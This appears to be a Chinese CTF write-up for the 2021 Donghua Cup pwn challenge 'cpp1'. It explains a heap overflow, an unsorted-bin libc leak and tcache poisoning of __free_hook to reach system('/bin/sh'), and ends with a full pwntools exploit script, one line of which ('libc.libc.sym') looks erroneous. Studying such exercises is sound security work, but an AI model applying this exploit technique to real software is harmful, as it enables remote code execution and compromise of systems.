write up --2021东华杯pwn cpp1
简介
2021年东华杯真题
可以看到64位小端的elf可执行程序保护全开,附件还给了libc版本是2.31,但是官方的远程环境已经关掉了,我们就直接打本地吧,我本地是libc-2.27其实差不了多少。
分析
程序是cpp写的,函数名都消掉了,自己简单分析一下就会发现程序逻辑不难,典型的菜单题,程序提供的就是菜单里的这几个功能。
我们先来分析add函数的功能
可以看到最多申请16个堆块,而且也对堆块的大小进行了限制,不能大于0xff。
这里的bss_data和bss_size都是bss段里的数据
bss_szie存放对应下标chunk的大小,bss_data存放对应下标申请的空间返回的指针,基本上该函数是没啥问题的。
接下来是change函数
该函数是存在明显的漏洞的,可以看到我们在向申请的空间进行输入的时候是没有进行大小限制的,可以进行堆溢出覆盖其他chunk的关键信息从而进行攻击。
get函数
该函数没啥好说的,就是打印对应下标申请空间里的信息,可以联合其他漏洞泄漏信息。
delete函数
可以看到delete函数在释放空间的时候将指针也指向0了,所以这里就没有uaf可以用了。
攻击思路
其实该程序看到这基本的攻击思路也就有了,利用堆溢出修改chunk的size位,泄漏main_aren+xx地址,计算出libc基址,得到__ free_hook和system,将 __ free_hook的指向改为system函数,再将对应的位置写上"/bin/sh\x00",最后调用delete函数即可得到shell。
可以利用堆溢出的漏洞将chunk1的size改为大于0x408的值,因为对应比赛的远程环境是libc-2.31.so必定带有TCache机制,而我本机的libc-2.27.so也是带有该机制的,大于0x408个字节的chunk就超出了TCache机制的管理范围,这样的话这块超大的chunk就会被放到unsorted bin里,我们也知道当unsorted bin只有一个free chunk的时候其fd和bk指针都是指向main_aren+xx的。
这里我一共申请了7个堆块,第一个堆块和最后一个堆块为0x10大小其他的堆块都是0xf0大小,使得其整体是有0x500大小的,不会破坏程序整体的结构。
由于我们利用堆溢出将chunk1的size改为了0x501,这样释放它后它是在unsorted bin里的和我们预想的一样,我将chunk1重新申请回来,然后使用get函数打印出chunk2里的信息,就可以得到main_arena+96的地址值。
然后就是计算出libc基址
此时已经很明朗了,我们只需将free_hook的指向,改为system函数即可。
我们再申请0xf0大小的堆块索引为7,对应的就是chunk2的空间。
将这块chunk释放掉,因为我们从来没有释放过chunk2此时我们是可以对chunk2操作的,将fd指针处修改为free_hook。
这样经过两次malloc 0xf0大小的空间,就可以将free_hook那片地址申请到为chunk8,这是我们向chunk8里写入system函数就将free_hook的指向改为了system函数的具体实现。
此时我们在将参数"/bin/sh\x00"写入chunk0或者chunk1也行,然后使用delete函数释放掉写入参数的堆块即等于指向system("/bin/sh")即可拿到shell。
exp
from pwn import*
context.arch = "amd64"
context.log_level = "debug"
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(index, size):
io.recvuntil(">>")
io.sendline("1")
io.recvuntil(">>")
io.sendline(str(index))
io.recvuntil(">>")
io.sendline(str(size))
def delete(index):
io.recvuntil(">>")
io.sendline("4")
io.recvuntil(">>")
io.sendline(str(index))
def change(index, content):
io.recvuntil(">>")
io.sendline("2")
io.recvuntil(">>")
io.sendline(str(index))
io.recvuntil(">>")
io.sendline(content)
def get(index):
io.recvuntil(">>")
io.sendline("3")
io.recvuntil(">>")
io.sendline(str(index))
add(0, 0x10) # chunk0
add(1, 0xf0) # chunk1
add(2, 0xf0) # chunk2
add(3, 0xf0) # chunk3
add(4, 0xf0) # chunk4
add(5, 0xf0) # chunk5
add(6, 0x10) # chunk6
change(0, "a"*0x10+p64(0)+p64(0x501))
#gdb.attach(io)
delete(1)
gdb.attach(io)
add(1, 0xf0)
get(2)
main_aren_addr = u64(io.recvuntil("Welcome", drop=True)
[-7:-1].ljust(8, "\x00"))-96
print("main_aren:", main_aren_addr)
malloc_hook = main_aren_addr-0x10
print("malloc_hook:", malloc_hook)
libc_base = malloc_hook-libc.symbols["__malloc_hook"]
free_hook = libc_base+libc.libc.sym['__free_hook']
system_addr = libc_base+libc.symbols["system"]
add(7, 0xf0)
delete(4)
delete(7)
change(2, p64(free_hook))
add(7, 0xf0)
add(8, 0xf0)
change(8, p64(system_addr))
change(0, "/bin/sh\x00")
delete(0)
io.interactive()